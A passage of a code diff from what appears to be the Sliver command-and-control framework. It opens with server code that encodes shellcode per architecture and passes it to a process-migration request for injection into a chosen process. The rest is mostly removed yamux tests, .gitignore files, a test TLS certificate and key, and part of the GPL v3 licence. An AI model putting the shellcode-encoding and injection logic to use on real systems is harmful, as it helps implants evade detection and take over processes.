|
||||
}
|
||||
|
||||
encoderArchs := shellcodeencoders.ShellcodeEncoders[normalizedArch]
|
||||
if encoderArchs == nil {
|
||||
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("Unknown architecture: %s", normalizedArch))
|
||||
}
|
||||
encoder := encoderArchs[encoderName]
|
||||
if encoder == nil {
|
||||
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("Encoder %s not supported for architecture %s", encoderName, normalizedArch))
|
||||
}
|
||||
|
||||
encoded, err := encoder.Encode(sc, shellcodeencoders.ShellcodeEncoderArgs{
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
})
|
||||
if err != nil {
|
||||
return nil, status.Error(codes.Internal, fmt.Sprintf("Failed to encode shellcode (%s)", err))
|
||||
}
|
||||
sc = encoded
|
||||
}
|
||||
|
||||
migrateReq := &sliverpb.InvokeMigrateReq{
|
||||
Request: req.Request,
|
||||
Data: shellcode,
|
||||
Data: sc,
|
||||
Pid: req.Pid,
|
||||
ProcName: req.ProcName,
|
||||
}
|
||||
@@ -373,7 +393,7 @@ func getSliverShellcode(name string) ([]byte, string, error) {
|
||||
if err != nil {
|
||||
return []byte{}, "", err
|
||||
}
|
||||
data, err = generate.DonutShellcodeFromPE(fileData, config.GOARCH, false, "", "", "", false, false, false, config.DonutConfig)
|
||||
data, err = generate.DonutShellcodeFromPE(fileData, config.GOARCH, false, "", "", "", false, false, false, config.ShellcodeConfig)
|
||||
if err != nil {
|
||||
rpcLog.Errorf("DonutShellcodeFromPE error: %v\n", err)
|
||||
return []byte{}, "", err
|
||||
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
# Compiled Object files, Static and Dynamic libs (Shared Objects)
|
||||
*.o
|
||||
*.a
|
||||
*.so
|
||||
|
||||
# Folders
|
||||
_obj
|
||||
_test
|
||||
|
||||
# Architecture specific extensions/prefixes
|
||||
*.[568vq]
|
||||
[568vq].out
|
||||
|
||||
*.cgo1.go
|
||||
*.cgo2.c
|
||||
_cgo_defun.c
|
||||
_cgo_gotypes.go
|
||||
_cgo_export.*
|
||||
|
||||
_testmain.go
|
||||
|
||||
*.exe
|
||||
*.test
|
||||
-243
@@ -1,243 +0,0 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func BenchmarkPing(b *testing.B) {
|
||||
client, _ := testClientServer(b)
|
||||
|
||||
b.ReportAllocs()
|
||||
b.ResetTimer()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
rtt, err := client.Ping()
|
||||
if err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
if rtt == 0 {
|
||||
b.Fatalf("bad: %v", rtt)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func BenchmarkAccept(b *testing.B) {
|
||||
client, server := testClientServer(b)
|
||||
|
||||
doneCh := make(chan struct{})
|
||||
b.ReportAllocs()
|
||||
b.ResetTimer()
|
||||
|
||||
go func() {
|
||||
defer close(doneCh)
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
stream, err := server.AcceptStream()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
stream.Close()
|
||||
}
|
||||
}()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
stream, err := client.Open()
|
||||
if err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
stream.Close()
|
||||
}
|
||||
<-doneCh
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv32(b *testing.B) {
|
||||
const payloadSize = 32
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv64(b *testing.B) {
|
||||
const payloadSize = 64
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv128(b *testing.B) {
|
||||
const payloadSize = 128
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv256(b *testing.B) {
|
||||
const payloadSize = 256
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv512(b *testing.B) {
|
||||
const payloadSize = 512
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv1024(b *testing.B) {
|
||||
const payloadSize = 1024
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv2048(b *testing.B) {
|
||||
const payloadSize = 2048
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecv4096(b *testing.B) {
|
||||
const payloadSize = 4096
|
||||
benchmarkSendRecv(b, payloadSize, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvLarge(b *testing.B) {
|
||||
const sendSize = 512 * 1024 * 1024 //512 MB
|
||||
const recvSize = 4 * 1024 //4 KB
|
||||
benchmarkSendRecv(b, sendSize, recvSize)
|
||||
}
|
||||
|
||||
func benchmarkSendRecv(b *testing.B, sendSize, recvSize int) {
|
||||
client, server := testClientServer(b)
|
||||
|
||||
sendBuf := make([]byte, sendSize)
|
||||
recvBuf := make([]byte, recvSize)
|
||||
errCh := make(chan error, 1)
|
||||
|
||||
b.SetBytes(int64(sendSize))
|
||||
b.ReportAllocs()
|
||||
b.ResetTimer()
|
||||
|
||||
go func() {
|
||||
stream, err := server.AcceptStream()
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
|
||||
switch {
|
||||
case sendSize == recvSize:
|
||||
for i := 0; i < b.N; i++ {
|
||||
if _, err := stream.Read(recvBuf); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
case recvSize > sendSize:
|
||||
errCh <- fmt.Errorf("bad test case; recvSize was: %d and sendSize was: %d, but recvSize must be <= sendSize!", recvSize, sendSize)
|
||||
return
|
||||
|
||||
default:
|
||||
chunks := sendSize / recvSize
|
||||
for i := 0; i < b.N; i++ {
|
||||
for j := 0; j < chunks; j++ {
|
||||
if _, err := stream.Read(recvBuf); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
errCh <- nil
|
||||
}()
|
||||
|
||||
stream, err := client.Open()
|
||||
if err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
defer stream.Close()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
if _, err := stream.Write(sendBuf); err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
drainErrorsUntil(b, errCh, 1, 0, "")
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel32(b *testing.B) {
|
||||
const payloadSize = 32
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel64(b *testing.B) {
|
||||
const payloadSize = 64
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel128(b *testing.B) {
|
||||
const payloadSize = 128
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel256(b *testing.B) {
|
||||
const payloadSize = 256
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel512(b *testing.B) {
|
||||
const payloadSize = 512
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel1024(b *testing.B) {
|
||||
const payloadSize = 1024
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel2048(b *testing.B) {
|
||||
const payloadSize = 2048
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func BenchmarkSendRecvParallel4096(b *testing.B) {
|
||||
const payloadSize = 4096
|
||||
benchmarkSendRecvParallel(b, payloadSize)
|
||||
}
|
||||
|
||||
func benchmarkSendRecvParallel(b *testing.B, sendSize int) {
|
||||
client, server := testClientServer(b)
|
||||
|
||||
sendBuf := make([]byte, sendSize)
|
||||
discarder := io.Discard.(io.ReaderFrom)
|
||||
b.SetBytes(int64(sendSize))
|
||||
b.ReportAllocs()
|
||||
b.ResetTimer()
|
||||
|
||||
b.RunParallel(func(pb *testing.PB) {
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
stream, err := server.AcceptStream()
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
|
||||
if _, err := discarder.ReadFrom(stream); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
errCh <- nil
|
||||
}()
|
||||
|
||||
stream, err := client.Open()
|
||||
if err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
|
||||
for pb.Next() {
|
||||
if _, err := stream.Write(sendBuf); err != nil {
|
||||
b.Fatalf("err: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
stream.Close()
|
||||
|
||||
drainErrorsUntil(b, errCh, 1, 0, "")
|
||||
})
|
||||
}
|
||||
-72
@@ -1,72 +0,0 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestConst(t *testing.T) {
|
||||
if protoVersion != 0 {
|
||||
t.Fatalf("bad: %v", protoVersion)
|
||||
}
|
||||
|
||||
if typeData != 0 {
|
||||
t.Fatalf("bad: %v", typeData)
|
||||
}
|
||||
if typeWindowUpdate != 1 {
|
||||
t.Fatalf("bad: %v", typeWindowUpdate)
|
||||
}
|
||||
if typePing != 2 {
|
||||
t.Fatalf("bad: %v", typePing)
|
||||
}
|
||||
if typeGoAway != 3 {
|
||||
t.Fatalf("bad: %v", typeGoAway)
|
||||
}
|
||||
|
||||
if flagSYN != 1 {
|
||||
t.Fatalf("bad: %v", flagSYN)
|
||||
}
|
||||
if flagACK != 2 {
|
||||
t.Fatalf("bad: %v", flagACK)
|
||||
}
|
||||
if flagFIN != 4 {
|
||||
t.Fatalf("bad: %v", flagFIN)
|
||||
}
|
||||
if flagRST != 8 {
|
||||
t.Fatalf("bad: %v", flagRST)
|
||||
}
|
||||
|
||||
if goAwayNormal != 0 {
|
||||
t.Fatalf("bad: %v", goAwayNormal)
|
||||
}
|
||||
if goAwayProtoErr != 1 {
|
||||
t.Fatalf("bad: %v", goAwayProtoErr)
|
||||
}
|
||||
if goAwayInternalErr != 2 {
|
||||
t.Fatalf("bad: %v", goAwayInternalErr)
|
||||
}
|
||||
|
||||
if headerSize != 12 {
|
||||
t.Fatalf("bad header size")
|
||||
}
|
||||
}
|
||||
|
||||
func TestEncodeDecode(t *testing.T) {
|
||||
hdr := header(make([]byte, headerSize))
|
||||
hdr.encode(typeWindowUpdate, flagACK|flagRST, 1234, 4321)
|
||||
|
||||
if hdr.Version() != protoVersion {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
if hdr.MsgType() != typeWindowUpdate {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
if hdr.Flags() != flagACK|flagRST {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
if hdr.StreamID() != 1234 {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
if hdr.Length() != 4321 {
|
||||
t.Fatalf("bad: %v", hdr)
|
||||
}
|
||||
}
|
||||
-3
@@ -1,3 +0,0 @@
|
||||
module github.com/hashicorp/yamux
|
||||
|
||||
go 1.20
|
||||
Whitespace-only changes.
-1774
File diff suppressed because it is too large.
Load diff
-7
@@ -1,7 +0,0 @@
|
||||
Test certificates generated with:
|
||||
|
||||
```
|
||||
go run $(go env GOROOT)/src/crypto/tls/generate_cert.go --host example.com
|
||||
```
|
||||
|
||||
Requires a bash-like shell and Go installed.
|
||||
-18
@@ -1,18 +0,0 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIC/DCCAeSgAwIBAgIRAI8YOah8fp9JcV8YbON8488wDQYJKoZIhvcNAQELBQAw
|
||||
EjEQMA4GA1UEChMHQWNtZSBDbzAeFw0yNDA4MTQyMzE0MTJaFw0yNTA4MTQyMzE0
|
||||
MTJaMBIxEDAOBgNVBAoTB0FjbWUgQ28wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
|
||||
ggEKAoIBAQC5cvLaZRsKScA/JBgIlXTs3uJj7KLOLwGuRxk3sUQ7aREoqlC1bGR8
|
||||
wN5mYu9Yso6dEOWJBSXybtSpH60AtGnepAKAra4IDNfLbNmWi+13lyqD/BgIpWoP
|
||||
Lww6MDHLxNP1+U4hQ2mcOw/hueaSMUahXhjTTTVHq+cLQ9eBxk7b/mcxzHLS6he+
|
||||
0zS2QsQ7p/R5RN5QTALZNoHTgXh7Wou/ynmCHNVzaAOdGIvDTSi6fBdqNgvWrY0w
|
||||
WcZePVcTiZ2y/4TKEugXqu6RdO1C3rtAFEWCn9q+RyNl0MCcbxo+n3xljy9y3HTW
|
||||
0qdpYg2wZJKuRBRlsr0D72pEg+OTd4gNAgMBAAGjTTBLMA4GA1UdDwEB/wQEAwIF
|
||||
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMBYGA1UdEQQPMA2C
|
||||
C2V4YW1wbGUuY29tMA0GCSqGSIb3DQEBCwUAA4IBAQBvjm0Y6uS285qhh9Ae/4+f
|
||||
/nc9KVECHCt0w4CAVmkoCULncOLPnfDRgfn0S2jveBeD/1916egnRljYdqHaE/1G
|
||||
/DHo3b45uC77dCGZzCKl7GC50GOUdirHxNiS99xCPM2rWmoada+v5Oe3kcCBXlJ4
|
||||
KeDffE7EGo8ACzO5ziKMbR8oThaFrOXIPtUYUFInURbu9VKfRzkLzXNGBZ1WgVZ6
|
||||
i9McZImuKnKLZJ1e3SlX3PcZwoBYbumaIG1XFx0K4FCO+QsZNOtLPIzA+aVdtFii
|
||||
f5nn4CxXJ/SGhwnjbJE4lS7vH0JlzVIX5rHEYB4jL8d7TApXVgJ0L/0wgFvQ0bCv
|
||||
-----END CERTIFICATE-----
|
||||
-28
@@ -1,28 +0,0 @@
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5cvLaZRsKScA/
|
||||
JBgIlXTs3uJj7KLOLwGuRxk3sUQ7aREoqlC1bGR8wN5mYu9Yso6dEOWJBSXybtSp
|
||||
H60AtGnepAKAra4IDNfLbNmWi+13lyqD/BgIpWoPLww6MDHLxNP1+U4hQ2mcOw/h
|
||||
ueaSMUahXhjTTTVHq+cLQ9eBxk7b/mcxzHLS6he+0zS2QsQ7p/R5RN5QTALZNoHT
|
||||
gXh7Wou/ynmCHNVzaAOdGIvDTSi6fBdqNgvWrY0wWcZePVcTiZ2y/4TKEugXqu6R
|
||||
dO1C3rtAFEWCn9q+RyNl0MCcbxo+n3xljy9y3HTW0qdpYg2wZJKuRBRlsr0D72pE
|
||||
g+OTd4gNAgMBAAECggEAdVXvppM2KqpDQzAZLMUzt/PGFidRU1eWnqhJol08qMJv
|
||||
ouUwL7onUm/Nx8ZtXheL+IEKWkmxmtTZJTDvi3SbT81B8Bzz8g/+Ma3rdj+Ovo4c
|
||||
zmmg40eV9Yl1GRQJTb55xjY5Yv5+QeV0xQOUiYc4Az3AQ2GkhnaTtyLzph7NIo+d
|
||||
n4jiNJIlCP2wO3hyIaIVtQXyoGAwNWHTrJsShGaNi9C32SEqzSzuNF94lnGJ4U9M
|
||||
7yLl1GD+uhz6V0q3eY8CHK6g8HOaj1ukMlIz+qZdsY252qpEgmY21kvoUJ9Awjjn
|
||||
3dAtR7aX+YFtMdAD8rCPHS00lmSlGOEMcg8m07EHmQKBgQDEyHIKvls9RGRfbMbR
|
||||
+GQ0HyQu2ACbHu6sc8baZZpr9h0pQJOObvPhVWkTcMpVZqlfJZ3X08WHhBBmTZkQ
|
||||
F4K1nAs+Ps7U04cBDph3eGGfe+roQSVcVARmTq4is1SOQMtSpnKyRMS1HLFp9sR0
|
||||
03m9a43pmnkT45m/BxFp6kCMxwKBgQDxQV5yH0YBfT5i8T63vDs/f9nvxgRODC5d
|
||||
0rdgJBd1R4VPTmI5Cbcfa3IY4H5nMgh90x9T7xu209ywp75TYS/Q119eElTcj5tX
|
||||
xhDitw052F2ZA90nuCsyXQq+01zLeRuhMQQx3HbmgoVDNNJJBRfERakhM8z4FDVi
|
||||
a5FDrDQoiwKBgBZg6T85iKy+A2Aqwa2NPvACfp3pKKB7cw8fl4Ssu1P9yDExy9YN
|
||||
3iRJD0sLr6bopuhQIdQynCseJLNNrdN7qPy4QzsP73ualqbTHxmvEgMOF5fUGMiY
|
||||
MWvlFL6TgFExIy5CCZcmZOxn1/FCA/N5PUYCXkArtgtB/fEQf7V402BvAoGBAN3g
|
||||
oazRaD/cYLD8cBLo0ZCf0955veHNwCLXtYB9EPnycf8y9pDAh6Mk3QVWCcp8sGSP
|
||||
82LtKA7oIDJzw03JtwEZ4oKQ120VwediqIrpkQdfHw2oCRALh+bEvSotF02mryt6
|
||||
+gGlYdCzvz3E6ZTwUyBWdKqtileptkMy7KFRUZLrAoGAVHMhb1CJWIHLOSNWBHU3
|
||||
U0Aq9kY3sK/iECKRa0e7qe8gK/hSm61q3RyyYsrrsp8nyPhuvvoJ61AyD9sf4bWn
|
||||
4lQalf69PpfdM3Kr9wgu3B8UG15RYAgu9mEp4f5ys/lB0kdcoNhXHm/omuEI7xho
|
||||
0TzPD2rJfUl/Jce1oLGoPL8=
|
||||
-----END PRIVATE KEY-----
|
||||
-50
@@ -1,50 +0,0 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestAsyncSendErr(t *testing.T) {
|
||||
ch := make(chan error)
|
||||
asyncSendErr(ch, ErrTimeout)
|
||||
select {
|
||||
case <-ch:
|
||||
t.Fatalf("should not get")
|
||||
default:
|
||||
}
|
||||
|
||||
ch = make(chan error, 1)
|
||||
asyncSendErr(ch, ErrTimeout)
|
||||
select {
|
||||
case <-ch:
|
||||
default:
|
||||
t.Fatalf("should get")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAsyncNotify(t *testing.T) {
|
||||
ch := make(chan struct{})
|
||||
asyncNotify(ch)
|
||||
select {
|
||||
case <-ch:
|
||||
t.Fatalf("should not get")
|
||||
default:
|
||||
}
|
||||
|
||||
ch = make(chan struct{}, 1)
|
||||
asyncNotify(ch)
|
||||
select {
|
||||
case <-ch:
|
||||
default:
|
||||
t.Fatalf("should get")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMin(t *testing.T) {
|
||||
if min(1, 2) != 1 {
|
||||
t.Fatalf("bad")
|
||||
}
|
||||
if min(2, 1) != 1 {
|
||||
t.Fatalf("bad")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
/beignet
|
||||
payload.bin
|
||||
.DS_Store
|
||||
/.go-cache
|
||||
/.go-modcache
|
||||
/.zig-cache
|
||||
/testdata/runner/runner
|
||||
/runner
|
||||
*.dylib
|
||||
+674
@@ -0,0 +1,674 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
